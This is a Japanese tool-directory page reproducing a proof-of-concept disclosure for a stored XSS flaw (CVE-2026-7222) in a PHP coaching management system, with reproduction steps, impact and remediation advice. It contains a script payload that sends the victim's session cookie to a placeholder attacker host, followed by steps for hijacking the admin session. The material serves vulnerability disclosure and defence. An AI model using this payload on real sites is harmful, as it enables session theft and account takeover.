Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-7222-XSS — PHPコーチング管理システムにおける格納型XSS(CWE-79)の概念実証エクスプロイト。Cookie窃取によるセッションハイジャックと、学生から管理者への権限昇格を示します。 | Kitploit
ツール/GitHubGitHub/xmyronn/cve-2026-7222-xss
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubxmyronn/cve-2026-7222-xss

CVE-2026-7222-XSS

PHPコーチング管理システムにおける格納型XSS(CWE-79)の概念実証エクスプロイト。Cookie窃取によるセッションハイジャックと、学生から管理者への権限昇格を示します。

リポジトリを見る
44ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

コーチング管理システムにおける格納型クロスサイトスクリプティング(XSS)がアカウント乗っ取りにつながる


製品

PHP製コーチング管理システム(Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/


影響を受けるコンポーネント

  • /modules/student/complaint.php (苦情送信)
  • /modules/admin/incomingcomplaint.php (苦情表示)
  • 苦情返信機能(管理者/教師 → 学生)

バージョン

不明(ベンダーからバージョン情報は提供されていません。2026年4月時点でCode-Projects.orgから入手可能な最新バージョンでテスト済み)


脆弱性タイプ

CWE-79: ウェブページ生成時の入力の不適切な無害化(格納型クロスサイトスクリプティング)


説明

このアプリケーションは、苦情および返信機能においてユーザー入力を適切にサニタイズしていません。低権限ユーザーによって注入された悪意のあるJavaScriptは保存され、管理者や教師などの高権限ユーザーが閲覧した際に実行されます。

さらに、返信機能にも脆弱性があり、管理者または教師が学生のセッションで実行されるJavaScriptを注入できる可能性があります。

これにより、複数のユーザーロールに影響を及ぼす格納型XSS脆弱性が発生します。


再現手順

ケース1: 学生 → 管理者(権限昇格)

  1. 学生としてログインする

  2. 以下に移動する: /modules/student/complaint.php Screenshot 2026-04-10 212940

  3. 以下のペイロードで苦情を送信する:

root@kitploit:~
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
Screenshot 2026-04-10 213341
  1. 管理者としてログインする

  2. 以下に移動する: /modules/admin/incomingcomplaint.php Screenshot 2026-04-10 212951

  3. 管理者が苦情を表示すると、ペイロードが自動的に実行される

  4. 管理者のセッションクッキーが攻撃者制御のサーバーに送信される

  5. 盗んだセッションクッキーを使用して管理者セッションを乗っ取る Screenshot 2026-04-10 213350

    Screenshot 2026-04-10 213406

ケース2: 管理者 → 学生(リバースXSS)

  1. 管理者としてログインする
  2. 以下のペイロードを使用して苦情に返信する:
root@kitploit:~
  1. 学生としてログインする
  2. 苦情の返信を表示する

概念実証(PoC)の証拠

  • 悪意のある苦情を表示した際に管理画面でJavaScriptの実行を確認
  • セッションクッキー(PHPSESSID)が攻撃者制御のサーバーを介して正常に外部送信された
  • 盗んだクッキーを使用して管理者セッションを乗っ取った
  • 返信機能を介して学生画面でJavaScriptの実行を確認

影響

  • 低権限ユーザー(学生)が管理者コンテキストで任意のJavaScriptを実行できる
  • HttpOnlyフラグがないためセッションハイジャックにつながる
  • 管理者アカウントの完全な乗っ取り
  • 双方向XSSにより複数のロール(管理者、教師、学生)が侵害される可能性がある
  • アプリケーションの完全性、機密性、可用性の完全な侵害

深刻度: CRITICAL


根本原因

  • 入力サニタイズの欠如
  • 出力エンコーディングの欠如
  • セッションクッキーに対するセキュリティ制御の欠如(HttpOnlyフラグが設定されていない)

推奨事項

  • すべてのユーザー入力をサニタイズおよび検証する。
  • PHPのhtmlspecialchars()などの関数を使用して出力をエンコードする
  • セッションクッキーにHttpOnlyおよびSecureフラグを設定する
  • コンテンツセキュリティポリシー(CSP)を実装する

ツールをダウンロード